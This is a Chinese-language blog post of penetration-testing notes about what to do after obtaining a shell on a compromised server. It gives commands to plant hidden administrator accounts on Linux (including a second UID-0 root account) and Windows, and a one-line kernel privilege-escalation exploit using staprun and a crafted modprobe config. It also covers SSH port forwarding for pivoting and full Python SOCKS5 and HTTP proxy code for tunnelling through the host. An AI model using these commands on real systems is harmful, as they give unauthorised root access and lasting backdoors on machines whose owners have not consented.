关于web渗透中得一些记录

1. 当得到linux root shell时，采用如下语句可以添加管理员帐户

  写道

useradd icefish //添加icefish用户
passwd icefish //设置密码



awk -F: '{print $1}' /etc/passwd 可以查看有多少用户


不过刚建立的账户都是被锁状态需要解锁

usermod -U icefish
或者
usermod -u uid

usermod -G root icefish //添加管理员组
或者
usermod -g 0 icefish


就ok了
下面是usermod的帮助文档那个


[root@localhost ~]# usermod
Usage: usermod [options] LOGIN

Options:
-a, --append append the user to the supplemental GROUPS
(use only with -G)
-c, --comment COMMENT new value of the GECOS field
-d, --home HOME_DIR new home directory for the user account
-e, --expiredate EXPIRE_DATE set account expiration date to EXPIRE_DATE
-f, --inactive INACTIVE set password inactive after expiration
to INACTIVE
-g, --gid GROUP force use GROUP as new primary group
-G, --groups GROUPS new list of supplementary GROUPS
-h, --help display this help message and exit
-l, --login NEW_LOGIN new value of the login name
-L, --lock lock the user account
-m, --move-home move contents of the home directory to the new
location (use only with -d)
-o, --non-unique allow using duplicate (non-unique) UID
-p, --password PASSWORD use encrypted password for the new password
-s, --shell SHELL new login shell for the user account
-u, --uid UID new UID for the user account
-U, --unlock unlock the user account
-Z, --selinux-user new selinux user mapping for the user account

 

windows 的就不用多说了

   写道

net user icetest icetest /add
net localgroup administrators icetest /add

 

 

当然我也见过一种一句的linux加账户的

  写道

useradd -u 0 -o -g root -G root -d /home/icetest2 icetest2
passwd icetest2

 这种加出来的用户直接和管理员root同uid ，比较方便

 

 

 

2 。一句话linux提权，

查看linux 内核版本 uname -a

 写道

Linux 2.6.18-194.el5 提权
一句话提权
printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTIONS="-C exploit.conf" staprun -u whatever

 这个比较方便

 

 

3. ssh端口转发代理，这个作用大家都懂的

     第一种可以利用windows下的客户端例如securCRT中的

          session options中得Port Forwarding

第二种就是自己手动命令了

      http://7056824.blog.51cto.com/69854/279714

这篇大致讲的还是蛮细的。

基本上就是

ssh -L <local port>:<remote host>:<remote port> <SSH hostname>
以及

ssh -R <local port>:<remote host>:<remote port> <SSH hostname>

ssh -D <local port> <SSH Server>

这三种应该是比较常用的 我个人觉得 ssh -D 7001 192.168.4.130这种帮助比较大，以及第一种本地代理的方式

 

 

第三种就是借助别的代码来直接实现socket代理

 

我比较倾向于python的，但是我复现的时候没成功，

有以下两种，分别是socket5和http代理

#! /usr/bin/env python
#coding=utf-8
import socket, sys, select, SocketServer, struct, time

class ThreadingTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass
class Socks5Server(SocketServer.StreamRequestHandler):
    def handle_tcp(self, sock, remote):
        fdset = [sock, remote]
        while True:
            r, w, e = select.select(fdset, [], [])
            if sock in r:
                if remote.send(sock.recv(4096)) <= 0: break
            if remote in r:
                if sock.send(remote.recv(4096)) <= 0: break
    def handle(self):
        try:
            print 'socks connection from ', self.client_address
            sock = self.connection
            # 1. Version
            sock.recv(262)
            sock.send(b"\x05\x00");
            # 2. Request
            data = self.rfile.read(4)
            mode = ord(data[1])
            addrtype = ord(data[3])
            if addrtype == 1:       # IPv4
                addr = socket.inet_ntoa(self.rfile.read(4))
            elif addrtype == 3:     # Domain name
                addr = self.rfile.read(ord(sock.recv(1)[0]))
            port = struct.unpack('>H', self.rfile.read(2))
            reply = b"\x05\x00\x00\x01"
            try:
                if mode == 1:  # 1. Tcp connect
                    remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    remote.connect((addr, port[0]))
                    print 'Tcp connect to', addr, port[0]
                else:
                    reply = b"\x05\x07\x00\x01" # Command not supported
                local = remote.getsockname()
                reply += socket.inet_aton(local[0]) + struct.pack("&gt;H", local[1])
            except socket.error:
                # Connection refused
                reply = '\x05\x05\x00\x01\x00\x00\x00\x00\x00\x00'
            sock.send(reply)
            # 3. Transfering
            if reply[1] == '\x00':  # Success
                if mode == 1:    # 1. Tcp connect
                    self.handle_tcp(sock, remote)
        except socket.error:
            print 'socket error'
def main():
    server = ThreadingTCPServer(('', 2013), Socks5Server)
    server.serve_forever()
if __name__ == '__main__':
    main()

 

 

http 代理

# -*- coding: cp1252 -*-
# <PythonProxy.py>
#
#Copyright (c) <2009> <Fábio Domingues - fnds3000 in gmail.com>
#
#Permission is hereby granted, free of charge, to any person
#obtaining a copy of this software and associated documentation
#files (the "Software"), to deal in the Software without
#restriction, including without limitation the rights to use,
#copy, modify, merge, publish, distribute, sublicense, and/or sell
#copies of the Software, and to permit persons to whom the
#Software is furnished to do so, subject to the following
#conditions:
#
#The above copyright notice and this permission notice shall be
#included in all copies or substantial portions of the Software.
#
#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
#EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
#OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
#NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
#HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
#WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
#FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
#OTHER DEALINGS IN THE SOFTWARE.

"""\
Copyright (c) <2009> <Fábio Domingues - fnds3000 in gmail.com> <MIT Licence>

                  **************************************
                 *** Python Proxy - A Fast HTTP proxy ***
                  **************************************

Neste momento este proxy é um Elie Proxy.

Suporta os métodos HTTP:
 - OPTIONS;
 - GET;
 - HEAD;
 - POST;
 - PUT;
 - DELETE;
 - TRACE;
 - CONENCT.

Suporta:
 - Conexões dos cliente em IPv4 ou IPv6;
 - Conexões ao alvo em IPv4 e IPv6;
 - Conexões todo o tipo de transmissão de dados TCP (CONNECT tunneling),
     p.e. ligações SSL, como é o caso do HTTPS.

A fazer:
 - Verificar se o input vindo do cliente está correcto;
   - Enviar os devidos HTTP erros se não, ou simplesmente quebrar a ligação;
 - Criar um gestor de erros;
 - Criar ficheiro log de erros;
 - Colocar excepções nos sítios onde é previsível a ocorrência de erros,
     p.e.sockets e ficheiros;
 - Rever tudo e melhorar a estrutura do programar e colocar nomes adequados nas
     variáveis e métodos;
 - Comentar o programa decentemente;
 - Doc Strings.

Funcionalidades futuras:
 - Adiconar a funcionalidade de proxy anónimo e transparente;
 - Suportar FTP?.


(!) Atenção o que se segue só tem efeito em conexões não CONNECT, para estas o
 proxy é sempre Elite.

Qual a diferença entre um proxy Elite, Anónimo e Transparente?
 - Um proxy elite é totalmente anónimo, o servidor que o recebe não consegue ter
     conhecimento da existência do proxy e não recebe o endereço IP do cliente;
 - Quando é usado um proxy anónimo o servidor sabe que o cliente está a usar um
     proxy mas não sabe o endereço IP do cliente;
     É enviado o cabeçalho HTTP "Proxy-agent".
 - Um proxy transparente fornece ao servidor o IP do cliente e um informação que
     se está a usar um proxy.
     São enviados os cabeçalhos HTTP "Proxy-agent" e "HTTP_X_FORWARDED_FOR".

"""

import socket, thread, select

__version__ = '0.1.0 Draft 1'
BUFLEN = 8192
VERSION = 'Python Proxy/'+__version__
HTTPVER = 'HTTP/1.1'

class ConnectionHandler:
    def __init__(self, connection, address, timeout):
        self.client = connection
        self.client_buffer = ''
        self.timeout = timeout
        self.method, self.path, self.protocol = self.get_base_header()
        if self.method=='CONNECT':
            self.method_CONNECT()
        elif self.method in ('OPTIONS', 'GET', 'HEAD', 'POST', 'PUT',
                             'DELETE', 'TRACE'):
            self.method_others()
        self.client.close()
        self.target.close()

    def get_base_header(self):
        while 1:
            self.client_buffer += self.client.recv(BUFLEN)
            end = self.client_buffer.find('\n')
            if end!=-1:
                break
        print '%s'%self.client_buffer[:end]#debug
        data = (self.client_buffer[:end+1]).split()
        self.client_buffer = self.client_buffer[end+1:]
        return data

    def method_CONNECT(self):
        self._connect_target(self.path)
        self.client.send(HTTPVER+' 200 Connection established\n'+
                         'Proxy-agent: %s\n\n'%VERSION)
        self.client_buffer = ''
        self._read_write()        

    def method_others(self):
        self.path = self.path[7:]
        i = self.path.find('/')
        host = self.path[:i]        
        path = self.path[i:]
        self._connect_target(host)
        self.target.send('%s %s %s\n'%(self.method, path, self.protocol)+
                         self.client_buffer)
        self.client_buffer = ''
        self._read_write()

    def _connect_target(self, host):
        i = host.find(':')
        if i!=-1:
            port = int(host[i+1:])
            host = host[:i]
        else:
            port = 80
        (soc_family, _, _, _, address) = socket.getaddrinfo(host, port)[0]
        self.target = socket.socket(soc_family)
        self.target.connect(address)

    def _read_write(self):
        time_out_max = self.timeout/3
        socs = [self.client, self.target]
        count = 0
        while 1:
            count += 1
            (recv, _, error) = select.select(socs, [], socs, 3)
            if error:
                break
            if recv:
                for in_ in recv:
                    data = in_.recv(BUFLEN)
                    if in_ is self.client:
                        out = self.target
                    else:
                        out = self.client
                    if data:
                        out.send(data)
                        count = 0
            if count == time_out_max:
                break

def start_server(host='localhost', port=8082, IPv6=False, timeout=60,
                  handler=ConnectionHandler):
    if IPv6==True:
        soc_type=socket.AF_INET6
    else:
        soc_type=socket.AF_INET
    soc = socket.socket(soc_type)
    soc.bind((host, port))
    print "Serving on %s:%d."%(host, port)#debug
    soc.listen(0)
    while 1:
        thread.start_new_thread(handler, soc.accept()+(timeout,))

if __name__ == '__main__':
    start_server(host='',port=8082)

 

4 第四个其实是mysql udf提权，有空再写吧